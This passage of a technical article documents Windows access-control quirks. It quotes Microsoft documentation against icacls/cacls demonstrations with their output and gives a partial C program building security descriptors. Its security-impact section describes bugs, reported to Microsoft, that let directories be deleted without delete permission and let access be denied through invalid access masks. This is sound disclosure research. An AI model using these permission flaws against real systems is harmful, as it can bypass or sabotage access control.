    GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\x64' of 78 bytes for environment 'Windows x64'
    GetPrintProcessorDirectory() returned error 1805 for environment 'Windows x86'
    
    The environment specified is invalid.
    Oops: contrary to their documentation cited above, the Win32 functions GetPrinterDriverDirectory() and GetPrintProcessorDirectory() return extended error information, for example the Win32 error code 122 alias ERROR_INSUFFICIENT_BUFFER, 1784 alias ERROR_INVALID_USER_BUFFER or 1805 alias ERROR_INVALID_ENVIRONMENT.

    Ouch: the environment Windows x86 specified in the documentation is invalid!

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 16

The TechNet articles How Security Descriptors and Access Control Lists Work and How Permissions Work provide a comprehensive and exhaustive explanation of Windows’ Access Control and its Access Control Components, while the MSDN article Access Control Lists provides an abstract:
An access control list (ACL) is a list of access control entries (ACE). Each ACE in an ACL identifies a trustee and specifies the access rights allowed, denied, or audited for that trustee. The security descriptor for a securable object can contain two types of ACLs: a DACL and a SACL.

A discretionary access control list (DACL) identifies the trustees that are allowed or denied access to a securable object. When a process tries to access a securable object, the system checks the ACEs in the object's DACL to determine whether to grant access to it. If the object does not have a DACL, the system grants full access to everyone. If the object's DACL has no ACEs, the system denies all attempts to access the object because the DACL does not allow any access rights. The system checks the ACEs in sequence until it finds one or more ACEs that allow all the requested access rights, or until any of the requested access rights are denied. […]

Note: no document denotes different access rights for deletion of directories than for deletion of files, which both are filesystem objects and children of a parent filesystem object, i.e. deletion should be governed by FILE_DELETE_CHILD of the parent (too)!

The TechNet article How Permissions Work specifies:

Folder permissions include Full Control, Modify, Read & Execute, List Folder Contents, Read, and Write. Each of these permissions consists of a logical group of special permissions that are listed and defined in the following table.

Permissions for Files and Folders

Permission Description
Delete Subfolders and Files Allows or denies deleting subfolders and files, even if the Delete permission has not been granted on the subfolder or file. (Applies to folders.)
Delete Allows or denies deleting the file or folder. If you do not have Delete permission on a file or folder, you can still delete it if you have been granted Delete Subfolders and Files on the parent folder.
[…]

You should also be aware of the following:

The MSDN article File Security and Access Rights but contradicts:
The valid access rights for files and directories include the DELETE, READ_CONTROL, WRITE_DAC, WRITE_OWNER, and SYNCHRONIZE standard access rights.

[…]

By default, authorization for access to a file or directory is controlled strictly by the ACLs in the security descriptor associated with that file or directory. In particular, the security descriptor of a parent directory is not used to control access to any child file or directory.

The MSDN articles SACL Access Right and Requesting Access Rights to an Object specify:
The ACCESS_SYSTEM_SECURITY access right is not valid in a DACL because DACLs do not control access to a SACL.

Note

The MAXIMUM_ALLOWED constant cannot be used in an ACE.

Contrary to the last two (highlighted) statements, the documentation as well as the synopsis of Windows’ Icacls command line program but state:
Displays or modifies discretionary access control lists (DACLs) on specified files, and applies stored DACLs to files in specified directories.

[…]

icacls ‹FileName› [/grant[:r] ‹Sid›:‹Perm›[…]] [/deny ‹Sid›:‹Perm›[…]] [/remove[:g|:d]] ‹Sid›[…]] [/t] [/c] [/l] [/q] [/setintegritylevel ‹Level›:‹Policy›[…]]
[…]
Oops: the parameter /Inheritance:{E|D|R} is undocumented!

Demonstration

Start the Command Processor, then run the following command lines to prove the documentation cited above wrong, and also show some undocumented (mis)behaviour:
REM Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
CHDIR /D "%TMP%"
COPY NUL: Quirk16f.tmp
ECHO Step 1: remove all inherited access permissions from file 'Quirk16f.tmp'
ICACLS.EXE Quirk16f.tmp /Inheritance:R
CACLS.EXE Quirk16f.tmp /S
ICACLS.EXE Quirk16f.tmp
ECHO Step 2: (attempt to) add inheritable access permissions to file 'Quirk16f.tmp'
ICACLS.EXE Quirk16f.tmp /Grant *S-1-3-3:(CI)(D) /Grant *S-1-3-2:(OI)(S) /Grant *S-1-3-1:(CI)(IO)(RC) /Grant *S-1-3-0:(OI)(IO)(WDAC)
CACLS.EXE Quirk16f.tmp /S
ICACLS.EXE Quirk16f.tmp
ECHO Step 3: add access permissions to file 'Quirk16f.tmp'
ICACLS.EXE Quirk16f.tmp /Deny *S-1-3-4:(AS) /Grant *S-1-3-4:(MA) /Grant *S-1-3-3:(D) /Grant *S-1-3-2:(RC) /Grant *S-1-3-1:(S) /Grant *S-1-3-0:(WDAC)
CACLS.EXE Quirk16f.tmp /S
ICACLS.EXE Quirk16f.tmp
ECHO Step 4: remove access permissions from file 'Quirk16f.tmp'
ICACLS.EXE Quirk16f.tmp /Remove:g "%USERNAME%" /Remove:g None
CACLS.EXE Quirk16f.tmp /S
ICACLS.EXE Quirk16f.tmp
ECHO Step 5: delete file 'Quirk16f.tmp'
ERASE Quirk16f.tmp
Note: the command lines can be copied and pasted as block into a Command Processor window!
        1 file(s) copied.
Step 1: remove all inherited access permissions from file 'Quirk16f.tmp'
processed file: Quirk16f.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp "D:PAI"

Quirk16f.tmp
Successfully processed 1 files; Failed processing 0 files
Step 2: (attempt to) add inheritable access permissions to file 'Quirk16f.tmp'
processed file: Quirk16f.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp "D:PAI"

Quirk16f.tmp
Successfully processed 1 files; Failed processing 0 files
Step 3: add access permissions to file 'Quirk16f.tmp'
processed file: Quirk16f.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp "D:PAI(D;;;;;OW)(A;;WD;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;0x100000;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;RC;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;0x110000;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;;;;OW)"

Quirk16f.tmp OWNER RIGHTS:(DENY)(S)
             AMNESIAC\Stefan:(WDAC)
             AMNESIAC\None:(S)
             AMNESIAC\Stefan:(Rc)
             AMNESIAC\None:(D)
             OWNER RIGHTS:

Successfully processed 1 files; Failed processing 0 files
Step 4: remove access permissions from file 'Quirk16f.tmp'
processed file: Quirk16f.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp

Access denied

Quirk16f.tmp: Access denied
Successfully processed 0 files; Failed processing 1 files
Step 5: delete file 'Quirk16f.tmp'
Note: ICACLs.exe does not add inheritable ACEs to files, but discards them silently, reporting success.

Ouch¹: ICACLs.exe converts its access permissions AS alias ACCESS_SYSTEM_SECURITY and MA alias MAXIMUM_ALLOWED to 0 alias NO_ACCESS!

Ouch²: ICACLs.exe converts its access permission D into the compound access mask SD alias STANDARD_DELETE plus SYNCHRONIZE, and displays this compound access mask 0x110000 as its access permission D too!

Note: ICACLs.exe converts the well-known SIDs S-1-3-0 alias CREATOR OWNER, S-1-3-1 alias CREATOR GROUP, S-1-3-2 alias CREATOR OWNER SERVER, and S-1-3-3 alias CREATOR GROUP SERVER into the object’s effective user and (primary) group SIDs.

Ouch³: ICACLs.exe displays the access mask 0 alias NO_ACCESS of the ACE (D;;;;;OW) as (S) alias SYNCHRONIZE!

Note: both ICACLs.exe and CACLs.exe fail (expected) when the ACE (D;;;;;OW) with access mask 0 alias NO_ACCESS is present in the DACL; it overrides the implicit RC alias READ_CONTROL and WDAC alias WRITE_DAC access rights granted to the object’s owner and has the same effect as the ACE (A;;;;;OW).

The TechNet article Security Identifiers Technical Overview specifies:

The following table lists the universal well-known SIDs.

Universal well-known SIDs

Value Universal Well-Known SID Identifies
[…]
S-1-3-4 Owner Rights A group that represents the current owner of the object. When an ACE that carries this SID is applied to an object, the system ignores the implicit READ_CONTROL and WRITE_DAC permissions for the object owner.

Demonstration (continued)

MKDIR Quirk16d.tmp
ECHO Step A: remove all inherited access permissions from directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Inheritance:R
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp
ECHO Step B: add (inheritable) access permissions to directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Deny *S-1-3-4:(AS,MA) /Grant *S-1-3-3:(CI)(RC,WDAC) /Grant *S-1-3-2:(OI)(RD,WD) /Grant *S-1-3-1:(CI)(IO)(AS) /Grant *S-1-3-0:(OI)(IO)(MA)
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp
ECHO Step C: (attempt to) delete directory 'Quirk16d.tmp'
RMDIR Quirk16d.tmp
ECHO Step D: remove all inheritable access permissions from directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Remove:g *S-1-3-3 /Remove:g *S-1-3-2 /Remove:g *S-1-3-1 /Remove:g *S-1-3-0
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp
ECHO Step E: create file 'Quirk16d.tmp\Quirk16f.tmp'
COPY NUL: Quirk16d.tmp\Quirk16f.tmp
ECHO Step F: display access permissions of file 'Quirk16d.tmp\Quirk16f.tmp'
ICACLS.EXE Quirk16d.tmp\Quirk16f.tmp
CACLS.EXE Quirk16d.tmp\Quirk16f.tmp /S
ECHO Step G: (attempt to) delete file 'Quirk16d.tmp\Quirk16f.tmp'
ERASE Quirk16d.tmp\Quirk16f.tmp
ECHO Step H: add access permissions to directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Grant *S-1-3-1:(AD) /Grant *S-1-3-0:(S)
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp
CACLS.EXE Quirk16d.tmp\Quirk16f.tmp /S
ECHO Step I: delete file 'Quirk16d.tmp\Quirk16f.tmp'
ERASE Quirk16d.tmp\Quirk16f.tmp
ECHO Step J: remove access permissions from directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Remove:g "%USERNAME%"
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp
ECHO Step K: create subdirectory 'Quirk16d.tmp\Quirk16d.tmp'
MKDIR Quirk16d.tmp\Quirk16d.tmp
ECHO Step L: delete subdirectory 'Quirk16d.tmp\Quirk16d.tmp'
RMDIR Quirk16d.tmp\Quirk16d.tmp
ECHO Step M: (attempt to) delete directory 'Quirk16d.tmp'
RMDIR Quirk16d.tmp
ECHO Step N: modify access permissions of directory 'Quirk16d.tmp'
ICACLS.EXE Quirk16d.tmp /Grant *S-1-3-0:(S) /Remove:g None
CACLS.EXE Quirk16d.tmp /S
ICACLS.EXE Quirk16d.tmp
ECHO Step O: delete directory 'Quirk16d.tmp'
RMDIR Quirk16d.tmp
Note: the command lines can be copied and pasted as block into a Command Processor window!
Step A: remove all inherited access permissions from directory 'Quirk16d.tmp'
processed file: Quirk16d.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI"

Quirk16d.tmp
Successfully processed 1 files; Failed processing 0 files
Step B: add (inheritable) access permissions to directory 'Quirk16d.tmp'
processed file: Quirk16d.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(D;;;;;OW)(A;OIIO;0x2000000;;;CO)(A;;CCDC;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;OIIO;CCDC;;;S-1-3-2)(A;CIIO;0x1000000;;;CG)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)(A;CIIO;RCWD;;;S-1-3-3)"

Quirk16d.tmp OWNER RIGHTS:(DENY)(S)
             CREATOR OWNER:(OI)(IO)(MA)
             AMNESIAC\Stefan:(RD,WD)
             CREATOR OWNER SERVER:(OI)(IO)(RD,WD)
             CREATOR GROUP:(CI)(IO)(AS)
             AMNESIAC\None:(Rc,WDAC)
             CREATOR GROUP SERVER:(CI)(IO)(Rc,WDAC)

Successfully processed 1 files; Failed processing 0 files
Step C: (attempt to) delete directory 'Quirk16d.tmp'
Access denied
Step D: remove all inheritable access permissions from directory 'Quirk16d.tmp'
processed file: Quirk16d.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(A;;CCDC;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)"

Quirk16d.tmp AMNESIAC\Stefan:(RD,WD,AD)
             AMNESIAC\None:(Rc,WDAC)

Successfully processed 1 files; Failed processing 0 files
Step E: create file 'Quirk16d.tmp\Quirk16f.tmp'
        1 file(s) copied.
Step F: display access permissions of file 'Quirk16d.tmp\Quirk16f.tmp'
Quirk16d.tmp\Quirk16f.tmp AMNESIAC\Stefan:(F)
                          NT AUTHORITY\SYSTEM:(F)
                          The mapping between account names and security IDs was done.
(RX)

Successfully processed 1 files; Failed processing 0 files
Access denied
Step G: (attempt to) delete file 'Quirk16d.tmp\Quirk16f.tmp'
Could Not Find C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp\Quirk16f.tmp
Step H: add access permissions to directory 'Quirk16d.tmp'
processed file: Quirk16d.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(D;;;;;OW)(A;;0x100000;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;LC;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;CCDC;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)"

Quirk16d.tmp OWNER RIGHTS:(DENY)(S)
             AMNESIAC\Stefan:(AD)
             AMNESIAC\None:(S)
             AMNESIAC\Stefan:(RD,WD)
             AMNESIAC\None:(Rc,WDAC)

Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp\Quirk16f.tmp "D:AI(A;;FA;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;FA;;;SY)(A;;0x1200a9;;;S-1-5-5-0-231840)"

Step I: delete file 'Quirk16d.tmp\Quirk16f.tmp'
Step J: remove access permissions from directory 'Quirk16d.tmp'
processed file: Quirk16d.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(D;;;;;OW)(A;;LC;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)"

Quirk16d.tmp OWNER RIGHTS:(DENY)(S)
             AMNESIAC\None:(S)
             AMNESIAC\None:(Rc,WDAC)

Successfully processed 1 files; Failed processing 0 files
Step K: create subdirectory 'Quirk16d.tmp\Quirk16d.tmp'
Step L: delete subdirectory 'Quirk16d.tmp\Quirk16d.tmp'
Step M: (attempt to) delete directory 'Quirk16d.tmp'
Access denied
Step N: modify access permissions of directory 'Quirk16d.tmp'
processed file: Quirk16d.tmp
Successfully processed 1 files; Failed processing 0 files
C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp

Access denied

Quirk16d.tmp: Access denied
Successfully processed 0 files; Failed processing 1 files
Step O: delete directory 'Quirk16d.tmp'
Ouch⁴: ICACLs.exe adds inheritable ACEs with the invalid access masks AS alias ACCESS_SYSTEM_SECURITY and MA alias MAXIMUM_ALLOWED to DACLs!

Note: without an inheritable ACE from its parent object the default security descriptor from the process’s access token is applied to a new object.

Ouch⁵: both CACLs.exe and the builtin Del alias Erase command of the Command Processor fail without SYNCHRONIZE access permission to the parent directory of the filesystem object to access!

Note: both ICACLs.exe and CACLs.exe fail (expected) when the ACE (D;;;;;OW) with access mask 0 alias NO_ACCESS is present in the DACL; it overrides the implicit RC alias READ_CONTROL and WDAC alias WRITE_DAC access rights granted to the object’s owner and has the same effect as the ACE (A;;;;;OW).

Ouch⁶: the builtin Rd alias Rmdir command of the Command Processor succeeds despite the missing SD alias STANDARD_DELETE access permission!

Security Impact

The bugs demonstrated above allow to delete directories without STANDARD_DELETE access permission as well as to deny (un)intentionally any access to (filesystem) objects via the ACCESS_SYSTEM_SECURITY and MAXIMUM_ALLOWED access permissions!

MSRC Case 65060

Due to their security impact I reported these bugs to the MSRC where case number 65060 was assigned.

They replied with the following statements:

Thank you for your submission. We determined your finding does not meet our bar for immediate servicing. For more information, please see the Microsoft Security Servicing Criteria for Windows (https://aka.ms/windowscriteria).

However, we’ve marked your finding for future review as an opportunity to improve our products. I do not have a timeline for this review and will not provide updates moving forward. As no further action is required at this time, I am closing this case. You will not receive further correspondence regarding this submission.

Quirk № 17

The Win32 functions CreateDirectory() and CreateFile() are documented in the MSDN as follows:
Creates a new directory. If the underlying file system supports security on files and directories, the function applies a specified security descriptor to the new directory.

[…]

BOOL CreateDirectory(
  LPCTSTR               lpPathName,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
[…]

lpSecurityAttributes

A pointer to a SECURITY_ATTRIBUTES structure. The lpSecurityDescriptor member of the structure specifies a security descriptor for the new directory. […]

Creates or opens a file or I/O device. […]
BOOL CreateFile(
  LPCTSTR               lpFileName,
  DWORD                 dwDesiredAccess,
  DWORD                 dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD                 dwCreationDisposition,
  DWORD                 dwFlagsAndAttributes,
  HANDLE                hTemplateFile
);
[…]

lpSecurityAttributes

A pointer to a SECURITY_ATTRIBUTES structure that contains two separate but related data members: an optional security descriptor, […]

The lpSecurityDescriptor member of the structure specifies a SECURITY_DESCRIPTOR for a file or device. […]

The SECURITY_ATTRIBUTES and SECURITY_DESCRIPTOR structures are documented as follows:
typedef struct _SECURITY_ATTRIBUTES {
  DWORD  nLength;
  LPVOID lpSecurityDescriptor;
  BOOL   bInheritHandle;
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
[…]

lpSecurityAttributes

A pointer to a SECURITY_DESCRIPTOR structure that controls access to the object. […]

A security descriptor includes information that specifies the following components of an object's security:
The Win32 functions DeleteFile(), DeleteFileTransacted(), MoveFileEx(), MoveFileWithProgress(), RemoveDirectory() and ReplaceFile() are documented in the MSDN as follows:
Deletes an existing file.

[…]

BOOL DeleteFile(
  LPCTSTR lpFileName
);
[…]

lpFileName

The name of the file to be deleted.

[…]

Moves an existing file or directory, including its children, with various move options.

[…]

BOOL MoveFileEx(
  LPCTSTR lpExistingFileName,
  LPCTSTR lpNewFileName,
  DWORD   dwFlags
);
[…]

lpExistingFileName

The current name of the file or directory on the local computer.

[…]

lpNewFileName

The new name of the file or directory on the local computer.

[…]

Oops: the highlighted sentences above and below but contradict the linked MSDN article File Security and Access Rights by 5÷1!
Moves a file or directory, including its children. You can provide a callback function that receives progress notifications.

[…]

BOOL MoveFileWithProgress(
  LPCTSTR            lpExistingFileName,
  LPCTSTR            lpNewFileName,
  LPPROGRESS_ROUTINE lpProgressRoutine,
  LPVOID             lpData,
  DWORD              dwFlags
);
[…]

lpExistingFileName

The current name of the file or directory on the local computer.

[…]

lpNewFileName

The new name of the file or directory on the local computer.

[…]

Deletes an existing empty directory.

[…]

BOOL RemoveDirectory(
  LPCTSTR lpPathName
);
[…]

lpPathName

The path of the directory to be removed. This path must specify an empty directory, and the calling process must have delete access to the directory.

RemoveDirectory() but fails to delete empty directories created with the same access rights as files!

Demonstration

Perform the following 9 simple steps to show the (mis)behaviour.
  1. Create the text file quirk17.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <sddl.h>
    #include <aclapi.h>
    
    #ifndef _WIN64
    #pragma intrinsic(memcmp)
    #else
    #pragma function(memcmp)
    
    int	memcmp(char const *left, char const *right, size_t count)
    {
    	size_t	index;
    	int	delta;
    
    	for (index = 0; index < count; index++)
    		if (delta = left[index] - right[index])
    			return delta;
    	return 0;
    }
    #endif
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    typedef	struct	_ace
    {
    	ACE_HEADER	Header;
    	ACCESS_MASK	Mask;
    	SID		Trustee;
    } ACE;
    
    const	struct	_acl
    {
    	ACL	acl;
    	ACE	ace;
    } acl = {{ACL_REVISION, 0, sizeof(acl), 1, 0},
    #if 0	// (A;NP;FA;;;AU)
             {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
              FILE_ALL_ACCESS,
              {SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_AUTHENTICATED_USER_RID}}},
    #else	// (A;NP;SD;;;OW)
             {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
              DELETE,
              {SID_REVISION, 1, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}},
    #endif
      dacl = {{ACL_REVISION, 0, sizeof(dacl), 1, 0},
    #ifndef QUIRKS		// (A;NP;0x1f0000;;;OW)
              {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
               STANDARD_RIGHTS_ALL,
               {SID_REVISION, 1, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}},
    #elif QUIRKS == 0	// (A;NP;FA;;;AU)
              {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
               FILE_ALL_ACCESS,
               {SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_AUTHENTICATED_USER_RID}}},
    #elif QUIRKS == 1	// (A;NP;0x1f0000;;;S-1-5-15)
              {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
               STANDARD_RIGHTS_ALL,
               {SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_THIS_ORGANIZATION_RID}}},
    #elif QUIRKS == 2	// (A;NP;FA;;;PS)
              {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
               FILE_ALL_ACCESS,
               {SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_PRINCIPAL_SELF_RID}}},
    #elif QUIRKS == 3	// (A;NP;0x1f0000;;;S-1-5-1000)
              {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
               STANDARD_RIGHTS_ALL,
               {SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_OTHER_ORGANIZATION_RID}}},
    #elif QUIRKS == 4	// (A;NP;0x3000000;;;IU)
              {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
               ACCESS_SYSTEM_SECURITY | MAXIMUM_ALLOWED,
               {SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_INTERACTIVE_RID}}},
    #else	// NOTE: construct an INVALID DACL!
              {{SYSTEM_MANDATORY_LABEL_ACE_TYPE, 0, sizeof(ACE)},
               SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
               {SID_REVISION, 1, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID}}},
    #endif
      sacl = {{ACL_REVISION, 0, sizeof(sacl), 1, 0},
    	// (ML;;NRNWNX;;;ME)
              {{SYSTEM_MANDATORY_LABEL_ACE_TYPE, 0, sizeof(ACE)},
               SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
               {SID_REVISION, 1, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID}}};
    
    const	SECURITY_DESCRIPTOR	sd = {SECURITY_DESCRIPTOR_REVISION,
    				      0,
    #ifdef QUIRKS
    				      SE_DACL_PRESENT | SE_DACL_PROTECTED | SE_GROUP_DEFAULTED | SE_OWNER_DEFAULTED | SE_SACL_DEFAULTED,
    #else	// BUG: CreateFile*() and CreateDirectory*() fail with ERROR_PRIVILEGE_NOT_HELD when a "mandatory label" is present!
    				      SE_DACL_PRESENT | SE_DACL_PROTECTED | SE_GROUP_DEFAULTED | SE_OWNER_DEFAULTED | SE_SACL_PRESENT | SE_SACL_PROTECTED,
    #endif
    				      (SID *) NULL,
    				      (SID *) NULL,
    #ifdef QUIRKS
    				      (ACL *) NULL,
    #else
    				      &sacl.acl,
    #endif
    				      &dacl.acl};
    
    const	SECURITY_ATTRIBUTES	sa = {sizeof(sa),
    				      &sd,
    				      FALSE};
    
    const	WCHAR	szName[] = L"Quirk17.tmp";
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	SECURITY_DESCRIPTOR	*lpSD;
    
    	ACL	*lpDACL;
    	LPWSTR	lpSDDL;
    	DWORD	dwError;
    	DWORD	dwFile;
    	HANDLE	hFile;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (!ConvertSecurityDescriptorToStringSecurityDescriptor(&sd,
    		                                                         SDDL_REVISION_1,
    		                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    		                                                         &lpSDDL,
    		                                                         (LPDWORD) NULL))
    			PrintConsole(hConsole,
    			             L"ConvertSecurityDescriptorToStringSecurityDescriptor() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			PrintConsole(hConsole,
    			             L"Using security descriptor \'%ls\' to create file and directory \'%ls\'\n",
    			             lpSDDL, szName);
    
    			if (LocalFree(lpSDDL) != NULL)
    				PrintConsole(hConsole,
    				             L"LocalFree() returned error %lu\n",
    				             dwError = GetLastError());
    		}
    
    		hFile = CreateFile(szName,
    		                   FILE_WRITE_DATA | READ_CONTROL,
    		                   FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
    		                   &sa,
    		                   CREATE_NEW,
    #if 0
    		                   FILE_FLAG_DELETE_ON_CLOSE,
    #else
    		                   FILE_ATTRIBUTE_NORMAL,
    #endif
    		                   (HANDLE) NULL);
    
    		if (hFile == INVALID_HANDLE_VALUE)
    			PrintConsole(hConsole,
    			             L"CreateFile() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwError = GetSecurityInfo(hFile,
    			                          SE_FILE_OBJECT,
    			                          OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    			                          (SID **) NULL,
    			                          (SID **) NULL,
    			                          &lpDACL,
    			                          (ACL **) NULL,
    			                          &lpSD);
    
    			if (dwError != ERROR_SUCCESS)
    				PrintConsole(hConsole,
    				             L"GetSecurityInfo() returned error %lu\n",
    				             dwError);
    			else
    			{
    				if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
    				                                                         SDDL_REVISION_1,
    				                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    				                                                         &lpSDDL,
    				                                                         (LPDWORD) NULL))
    					PrintConsole(hConsole,
    					             L"ConvertSecurityDescriptorToStringSecurityDescriptor() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					PrintConsole(hConsole,
    					             L"File \'%ls\' created with security descriptor \'%ls\'\n",
    					             szName, lpSDDL);
    
    					if (LocalFree(lpSDDL) != NULL)
    						PrintConsole(hConsole,
    						             L"LocalFree() returned error %lu\n",
    						             dwError = GetLastError());
    				}
    
    				if (memcmp(lpDACL, &dacl, sizeof(dacl)) != 0)
    					PrintConsole(hConsole,
    					             L"DACL of file differs from original DACL!\n");
    
    				if (LocalFree(lpSD) != NULL)
    					PrintConsole(hConsole,
    					             L"LocalFree() returned error %lu\n",
    					             dwError = GetLastError());
    			}
    
    			if (!WriteFile(hFile,
    			               L"\xFEFF",	// UTF-16LE byte order mark
    			               sizeof(L'\xFEFF'),
    			               &dwFile,
    			               (LPOVERLAPPED) NULL))
    				PrintConsole(hConsole,
    				             L"WriteFile() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    				if (dwFile != sizeof(L'\xFEFF'))
    					PrintConsole(hConsole,
    					             L"WriteFile() failed, %lu of %lu bytes written\n",
    					             dwFile, sizeof(L'\xFEFF'));
    
    			if (!CloseHandle(hFile))
    				PrintConsole(hConsole,
    				             L"CloseHandle() returned error %lu\n",
    				             dwError = GetLastError());
    
    			if (!DeleteFile(szName))
    			{
    				PrintConsole(hConsole,
    				             L"DeleteFile() returned error %lu\n",
    				             dwError = GetLastError());
    
    				if (dwError == ERROR_ACCESS_DENIED)
    				{
    					dwError = SetNamedSecurityInfo(szName,
    					                               SE_FILE_OBJECT,
